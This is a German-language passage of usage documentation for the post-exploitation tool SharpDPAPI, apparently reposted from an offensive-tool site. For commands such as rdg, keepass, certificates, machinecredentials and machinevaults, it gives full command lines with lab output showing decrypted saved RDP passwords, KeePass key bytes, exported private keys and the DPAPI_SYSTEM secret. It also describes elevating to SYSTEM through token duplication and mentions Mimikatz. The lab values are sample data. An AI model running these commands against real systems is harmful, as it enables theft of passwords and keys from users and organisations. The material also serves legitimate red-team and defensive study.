Der Befehl rdg sucht nach RDCMan.settings-Dateien für den aktuellen Benutzer (oder bei Erhöhung für alle Benutzer) und entschlüsselt diese entweder a) mit übergebenen „{GUID}:SHA1“-Masterschlüsseln, b) mit einer /mkfile:FILE-Datei mit einer oder mehreren {GUID}:SHA1-Masterschlüsselzuordnungen, c) mit einem bereitgestellten DPAPI-Domänen-Backup-Schlüssel (/pvk:BASE64... oder /pvk:key.pvk), um zunächst alle Benutzer-Masterschlüssel zu entschlüsseln (analog zu masterkeys), oder d) mit einem /password:X, um alle Benutzer-Masterschlüssel zu entschlüsseln, die dann als Nachschlagetabelle für die Entschlüsselung verwendet werden. DPAPI-GUID-Zuordnungen können mit Mimikatz' sekurlsa::dpapi-Befehl wiederhergestellt werden.

Das Flag /unprotect verwendet CryptUnprotectData(), um alle gespeicherten RDP-Passwörter zu entschlüsseln, wenn der Befehl im Benutzerkontext ausgeführt wird, der die Passwörter gespeichert hat. Dies kann aus einem unprivilegierten Kontext heraus erfolgen, ohne auf LSASS zugreifen zu müssen. Für eine Erklärung, warum dieser Ansatz nicht für Anmeldedaten/Tresore verwendet wird, siehe Benjamins Dokumentation hier.

Eine bestimmte RDCMan.settings-Datei, .RDC-Datei (oder ein Ordner mit .RDG-Dateien) kann mit /target:FILE oder /target:C:\Folder\ angegeben werden. Wenn eine Datei angegeben wird, sind {GUID}:SHA1-Werte (oder /unprotect) erforderlich. Wenn ein Ordner angegeben wird, müssen entweder a) {GUID}:SHA1-Werte bereitgestellt werden oder b) der Ordner muss DPAPI-Masterschlüssel enthalten und ein /pvk-Domänen-Backup-Schlüssel muss bereitgestellt werden.

Dieser Befehl entschlüsselt alle gespeicherten Passwortinformationen sowohl aus der RDCMan.settings-Datei als auch aus allen von der RDCMan.settings-Datei referenzierten .RDG-Dateien.

Verwendung von /unprotect zum Entschlüsseln aller gefundenen Passwörter:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Aktion: RDG-Auswertung

[*] Verwende CryptUnprotectData() zum Entschlüsseln von RDG-Passwörtern

[*] Werte RDCMan-Einstellungsdateien für aktuellen Benutzer aus

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 09.05.2019 11:52:58
    Modified      : 09.05.2019 11:52:58
    Recent Server : test\primary.testlab.local

        Cred-Profile

          Profilname : testprofile
            UserName   : testlab.local\dfm
            Passwort   : Password123!

        Standard-Anmeldeinformationen

          Profilname : Custom
            UserName   : TESTLAB\harmj0y
            Passwort   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Server

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profilname : Custom
            UserName   : TESTLAB\dfm.a
            Passwort   : Password123!

Verwendung von Domänen-{GUID}:SHA1-Masterschlüsselzuordnungen:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Aktion: RDG-Auswertung

[*] Verwende CryptUnprotectData() zum Entschlüsseln von RDG-Passwörtern

[*] Werte RDCMan-Einstellungsdateien für aktuellen Benutzer aus

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 09.05.2019 11:52:58
    Modified      : 09.05.2019 11:52:58
    Recent Server : test\primary.testlab.local

        Cred-Profile

          Profilname : testprofile
            UserName   : testlab.local\dfm
            Passwort   : Password123!

        Standard-Anmeldeinformationen

          Profilname : Custom
            UserName   : TESTLAB\harmj0y
            Passwort   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Server

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profilname : Custom
            UserName   : TESTLAB\dfm.a
            Passwort   : Password123!

Verwendung eines DPAPI-Domänen-Backup-Schlüssels, um zunächst alle auffindbaren Masterschlüssel zu entschlüsseln:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Aktion: RDG-Auswertung

[*] Verwende einen DPAPI-Domänen-Backup-Schlüssel, um Masterschlüssel für Entschlüsselungsschlüsselzuordnungen auszuwerten!

[*] Benutzer-Masterschlüssel-Cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(gekürzt)...

[*] Werte RDCMan.settings-Dateien für ALLE Benutzer aus

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 09.05.2019 11:52:58
    Modified      : 09.05.2019 11:52:58
    Recent Server : test\primary.testlab.local

        Cred-Profile

          Profilname : testprofile
            UserName   : testlab.local\dfm.a
            Passwort   : Password123!

        Standard-Anmeldeinformationen

          Profilname : Custom
            UserName   : TESTLAB\harmj0y
            Passwort   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Server

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profilname : Custom
            UserName   : TESTLAB\dfm.a
            Passwort   : Password123!

keepass

Der Befehl keepass sucht nach KeePass ProtectedUserKey.bin-Dateien für den aktuellen Benutzer (oder bei Erhöhung für alle Benutzer) und entschlüsselt diese entweder a) mit übergebenen „{GUID}:SHA1“-Masterschlüsseln, b) mit einer /mkfile:FILE-Datei mit einer oder mehreren {GUID}:SHA1-Masterschlüsselzuordnungen, c) mit einem bereitgestellten DPAPI-Domänen-Backup-Schlüssel (/pvk:BASE64... oder /pvk:key.pvk), um zunächst alle Benutzer-Masterschlüssel zu entschlüsseln (analog zu masterkeys), oder d) mit einem /password:X, um alle Benutzer-Masterschlüssel zu entschlüsseln, die dann als Nachschlagetabelle für die Entschlüsselung verwendet werden. DPAPI-GUID-Zuordnungen können mit Mimikatz' sekurlsa::dpapi-Befehl wiederhergestellt werden.

Das Flag /unprotect verwendet CryptUnprotectData(), um die Schlüsselbytes zu entschlüsseln, wenn der Befehl im Benutzerkontext ausgeführt wird, der die Passwörter gespeichert hat. Dies kann aus einem unprivilegierten Kontext heraus erfolgen, ohne auf LSASS zugreifen zu müssen. Für eine Erklärung, warum dieser Ansatz nicht für Anmeldedaten/Tresore verwendet wird, siehe Benjamins Dokumentation hier.

Eine bestimmte ProtectedUserKey.bin-Datei, .RDC-Datei (oder ein Ordner mit .RDG-Dateien) kann mit /target:FILE oder /target:C:\Folder\ angegeben werden. Wenn eine Datei angegeben wird, sind {GUID}:SHA1-Werte (oder /unprotect) erforderlich. Wenn ein Ordner angegeben wird, müssen entweder a) {GUID}:SHA1-Werte bereitgestellt werden oder b) der Ordner muss DPAPI-Masterschlüssel enthalten und ein /pvk-Domänen-Backup-Schlüssel muss bereitgestellt werden.

Entschlüsselte Schlüsseldateibytes können mit der modifizierten KeePass-Version in KeeThief verwendet werden.

Verwendung von /unprotect zum Entschlüsseln aller gefundenen Schlüsselmaterialien:

root@kitploit:~
C:\Temp> SharpDPAPI.exe  keepass /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Aktion: KeePass-Auswertung

[*] Verwende CryptUnprotectData() zur Entschlüsselung.

[*] Werte KeePass ProtectedUserKey.bin-Dateien für aktuellen Benutzer aus

    Datei             : C:\Users\harmj0y\AppData\Roaming\KeePass\ProtectedUserKey.bin
    Accessed         : 01.03.2021 13:38:22
    Modified         : 04.01.2021 17:49:49
    guidMasterKey    : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    size             : 210
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    beschreibung      :
    Schlüsselbytes        : 39 2E 63 EF 0E 37 E8 5C 34 ...


SharpDPAPI abgeschlossen in 00:00:00.0566660

certificates

Der Befehl certificates sucht nach Benutzer-verschlüsselten DPAPI-Zertifikat-privaten Schlüsseln und entschlüsselt diese entweder a) mit übergebenen „{GUID}:SHA1“-Masterschlüsseln, b) mit einer /mkfile:FILE-Datei mit einer oder mehreren {GUID}:SHA1-Masterschlüsselzuordnungen, c) mit einem bereitgestellten DPAPI-Domänen-Backup-Schlüssel (/pvk:BASE64... oder /pvk:key.pvk), um zunächst alle Benutzer-Masterschlüssel zu entschlüsseln (analog zu masterkeys), oder d) mit einem /password:X, um alle Benutzer-Masterschlüssel zu entschlüsseln, die dann als Nachschlagetabelle für die Entschlüsselung verwendet werden. DPAPI-GUID-Zuordnungen können mit Mimikatz' sekurlsa::dpapi-Befehl wiederhergestellt werden.

Das Flag /unprotect verwendet CryptUnprotectData(), um private Schlüssel zu entschlüsseln, wenn der Befehl im Benutzerkontext ausgeführt wird, dessen Zertifikate Sie abrufen möchten. Dies kann aus einem unprivilegierten Kontext heraus erfolgen, ohne auf LSASS zugreifen zu müssen. Für eine Erklärung, warum dieser Ansatz nicht für Anmeldedaten/Tresore verwendet wird, siehe Benjamins Dokumentation hier.

Ein bestimmtes Zertifikat kann mit /target:FILE oder /target:C:\Folder\ angegeben werden. In beiden Fällen sind {GUID}:SHA1-Werte (oder /unprotect) erforderlich oder b) der Ordner muss DPAPI-Masterschlüssel enthalten und ein /pvk-Domänen-Backup-Schlüssel muss bereitgestellt werden.

Standardmäßig werden nur private Schlüssel angezeigt, die mit einem zugehörigen installierten Zertifikat verknüpft werden können. Der Befehl /showall zeigt ALLE entschlüsselten privaten Schlüssel an.

Verwenden Sie das Flag /cng für CNG-private Schlüssel (Standard ist capi).

Verwendung von Domänen-{GUID}:SHA1-Masterschlüsselzuordnungen:

root@kitploit:~
C:\Temp> SharpDPAPI.exe certificates {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB513717AA...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Aktion: Zertifikatsauswertung

Ordner       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  Datei               : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    Beschreibung      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : ef98458bca7135fe1bb89b3715180ae6
    HMAC             : 5c3c3da2a4f6548a0186c22f86d7bc85
    Unique Name      : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1daThumbprint       : 98A03BC583861DCC19045758C0E0C05162091B6C
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=harmj0y
    Valid Date       : 2/22/2021 2:19:02 PM
    Expiry Date      : 2/22/2022 2:19:02 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Certificate is used for client auth!
        Secure Email (1.3.6.1.5.5.7.3.4)
        Encrypting File System (1.3.6.1.4.1.311.10.3.4)

    [*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----

Verwenden Sie /unprotect, um alle gefundenen Benutzerzertifikate zu entschlüsseln:

root@kitploit:~
C:\Temp> SharpDPAPI.exe certificates /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.3


[*] Action: Certificate Triage

[*] Using CryptUnprotectData() for decryption.


Folder       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  File               : f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {27db0044-e2aa-4ea2-b2c0-c469e9b29ed9}
    Description      : Private Key
    algCrypt         : CALG_AES_256 (keyLen 256)
    algHash          : CALG_SHA_512 (32782)
    Salt             : d7e1e00ed8a6249b5f05c487154e83cc0b51f71131530d0d46d3bfc63d890468
    HMAC             : 4869f296cdcc964262a57e2efc4f2c5df57c2ed7319e297daa2107810da5c171
    Unique Name      : {4A07001C-57BE-4E8B-86D1-43CACDF8D448}

    Thumbprint       : BBD9B90FE1A4E37BD646CBC922ABE06C24C1E725
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=harmj0y
    Valid Date       : 10/18/2022 11:40:07 AM
    Expiry Date      : 10/18/2023 12:00:07 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Certificate is used for client auth!
        Server Authentication (1.3.6.1.5.5.7.3.1)

    [*] Private key file f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxVEW49fMt...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDKjCCAhKgAwIBAgIQYwhUr...(snip)...
-----END CERTIFICATE-----

Verwenden eines Domänen-DPAPI-Backup-Schlüssels, um zunächst alle auffindbaren Masterkeys zu entschlüsseln:

root@kitploit:~
C:\Temp>SharpDPAPI.exe certificates /pvk:HvG1sAAAAAABAAAAAAAAAAAAAACU...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: Certificate Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!


[*] User master key cache:

{dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB51371...(snip)...



Folder       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  File               : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : ef98458bca7135fe1bb89b3715180ae6
    HMAC             : 5c3c3da2a4f6548a0186c22f86d7bc85
    Unique Name      : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da

    Thumbprint       : 98A03BC583861DCC19045758C0E0C05162091B6C
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=harmj0y
    Valid Date       : 2/22/2021 2:19:02 PM
    Expiry Date      : 2/22/2022 2:19:02 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Certificate is used for client auth!
        Secure Email (1.3.6.1.5.5.7.3.4)
        Encrypting File System (1.3.6.1.4.1.311.10.3.4)

    [*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----

triage

Der Befehl triage führt die Befehle für Benutzer-credentials, vaults, rdg und certificates aus.

Maschinen-Triage

machinemasterkeys

Der Befehl machinemasterkeys erhöht die Rechte auf SYSTEM, um das DPAPI_SYSTEM LSA-Geheimnis abzurufen, das dann zum Entschlüsseln aller gefundenen DPAPI-Masterkeys der Maschine verwendet wird. Er gibt eine Reihe von {GUID}:SHA1-Zuordnungen der Masterkeys zurück.

Lokale Administratorrechte sind erforderlich (damit wir das DPAPI_SYSTEM LSA-Geheimnis abrufen können).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinemasterkeys

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Machine DPAPI Masterkey File Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...

machinecredentials

Der Befehl machinecredentials erhöht die Rechte auf SYSTEM, um das DPAPI_SYSTEM LSA-Geheimnis abzurufen, das dann zum Entschlüsseln aller gefundenen DPAPI-Masterkeys der Maschine verwendet wird. Diese Schlüssel werden dann zum Entschlüsseln aller gefundenen Anmeldeinformationsdateien der Maschine verwendet.

Lokale Administratorrechte sind erforderlich (damit wir das DPAPI_SYSTEM LSA-Geheimnis abrufen können).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinecredentials

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Machine DPAPI Credential Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Triaging System Credentials


Folder       : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials

  CredFile           : C73A55F92FAE222C18A8989FEA28A1FE

    guidMasterKey    : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
    size             : 544
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    description      : Local Credential Data

    LastWritten      : 3/24/2019 7:08:43 PM
    TargetName       : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
    TargetAlias      :
    Comment          :
    UserName         : TESTLAB\harmj0y
    Credential       : Password123!


Folder       : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    ...(snip)...

machinevaults

Der Befehl machinevaults erhöht die Rechte auf SYSTEM, um das DPAPI_SYSTEM LSA-Geheimnis abzurufen, das dann zum Entschlüsseln aller gefundenen DPAPI-Masterkeys der Maschine verwendet wird. Diese Schlüssel werden dann zum Entschlüsseln aller gefundenen Vaults der Maschine verwendet.

Lokale Administratorrechte sind erforderlich (damit wir das DPAPI_SYSTEM LSA-Geheimnis abrufen können).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinevaults

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Machine DPAPI Vault Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Triaging SYSTEM Vaults


[*] Triaging Vault folder: C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {0bd732d9-c396-4f9a-a69a-508632c05235}
    size             : 324
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    description      :
    aes128 key       : 74CE3D7BCC4D0C4734931041F6D00D09
    aes256 key       : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081

...(snip)...

certificates /machine

Der Befehl certificates /machine verwendet den Maschinenzertifikatspeicher, um nach entschlüsselbaren privaten Maschinenzertifikatschlüsseln zu suchen. /mkfile:X und {GUID}:masterkey sind mit dem Befehl /target:\[file|folder\] verwendbar, andernfalls erhöht SharpDPAPI die Rechte auf SYSTEM, um das DPAPI_SYSTEM LSA-Geheimnis abzurufen, das dann zum Entschlüsseln aller gefundenen DPAPI-Masterkeys der Maschine verwendet wird. Diese Schlüssel werden dann zum Entschlüsseln aller gefundenen, systemverschlüsselten DPAPI-privaten Zertifikatschlüssel der Maschine verwendet.

Standardmäßig werden nur private Schlüssel angezeigt, die mit einem zugehörigen installierten Zertifikat verknüpft werden können. Der Befehl /showall zeigt ALLE entschlüsselten privaten Schlüssel an.

Lokale Administratorrechte sind erforderlich (damit wir das DPAPI_SYSTEM LSA-Geheimnis abrufen können).

root@kitploit:~
C:\Temp>SharpDPAPI.exe certificates /machine

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: Certificate Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] SYSTEM master key cache:

{f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121ECF2...(snip)...


[*] Triaging System Certificates


Folder       : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys

  File               : 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {f12f57e1-dd41-4daa-88f1-37a64034c7e9}
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : aa8c9e4849455660fc5fc96589f3e40e
    HMAC             : 9138559ef30fbd70808dca2c1ed02a29
    Unique Name      : te-Machine-50500b00-fddb-4a0d-8aa6-d73404473650

    Thumbprint       : A82ED8207DF6BC16BB65BF6A91E582263E217A4A
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=dev.theshire.local
    Valid Date       : 2/22/2021 3:50:43 PM
    Expiry Date      : 2/22/2022 3:50:43 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Certificate is used for client auth!
        Server Authentication (1.3.6.1.5.5.7.3.1)

    [*] Private key file 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(snip)...
-----END CERTIFICATE-----

machinetriage

Der Befehl machinetriage führt die Befehle machinecredentials, machinevaults und certificates /machine aus.

Sonstiges

ps

Der Befehl ps beschreibt/entschlüsselt eine exportierte PSCredential-clixml. Ein /target:FILE.xml muss angegeben werden.

Der Befehl kann a) die Datei mit übergebenen "{GUID}:SHA1"-Masterkeys entschlüsseln, b) eine /mkfile:FILE mit einer oder mehreren {GUID}:SHA1-Masterkey-Zuordnungen verwenden, c) einen bereitgestellten DPAPI-Domänen-Backup-Schlüssel (/pvk:BASE64... oder /pvk:key.pvk) verwenden, um zunächst alle Benutzermasterkeys zu entschlüsseln (à la masterkeys), oder d) ein /password:X verwenden, um alle Benutzermasterkeys zu entschlüsseln, die dann als Nachschlagetabelle dienen. DPAPI-GUID-Zuordnungen können mit Mimikatz' Befehl sekurlsa::dpapi wiederhergestellt werden.

Das Flag /unprotect verwendet CryptUnprotectData() zum Entschlüsseln der Anmeldeinformations-.xml ohne benötigte Masterkeys, wenn der Befehl aus dem Benutzerkontext ausgeführt wird, der die Passwörter gespeichert hat. Dies kann aus einem unprivilegierten Kontext heraus erfolgen, ohne LSASS berühren zu müssen. Für eine Erklärung, warum dieser Ansatz nicht für Anmeldeinformationen/Vaults verwendet wird, siehe Benjamins Dokumentation hier.

Entschlüsseln einer exportierten Anmeldeinformations-.xml mit CryptProtectData() (das Flag /unprotect):

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe PSCredential .xml

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 11:53:09 AM
    Modified         : 7/25/2019 11:53:09 AM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

Verwenden von Domänen-{GUID}:SHA1-Masterkey-Zuordnungen:

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe PSCredential .xml

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 12:04:12 PM
    Modified         : 7/25/2019 12:04:12 PM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

Verwenden eines DPAPI-Domänen-Backup-Schlüssels, um zunächst alle auffindbaren Masterkeys zu entschlüsseln:

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe PSCredential .xml

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 12:04:12 PM
    Modified         : 7/25/2019 12:04:12 PM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
